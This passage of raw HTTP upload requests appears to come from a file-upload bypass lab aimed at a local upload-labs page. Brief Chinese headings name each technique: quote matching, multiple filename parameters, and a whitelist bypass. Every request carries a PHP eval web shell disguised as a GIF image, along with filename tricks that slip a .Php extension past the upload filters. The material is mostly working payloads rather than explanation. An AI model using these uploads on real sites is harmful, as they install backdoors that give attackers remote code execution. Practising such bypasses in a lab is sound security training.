aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.Php"
Content-Type: image/jpeg
gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"
上传
-----------------------------256355090225943020492268668928--
值匹配""的内容,后跟.php :
POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 388
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="1".Php;
Content-Type: image/jpeg
gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"
上传
-----------------------------256355090225943020492268668928--
多个filename,绕过匹配:
POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 8864
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.Php"
Content-Type: image/jpeg
gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"
上传
-----------------------------256355090225943020492268668928--
白名单绕过:
POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 435
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file";filename="Content-Disposition: form-data; name=upload_file;x.Php"
Content-Type: image/jpeg
gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"
上传
-----------------------------256355090225943020492268668928--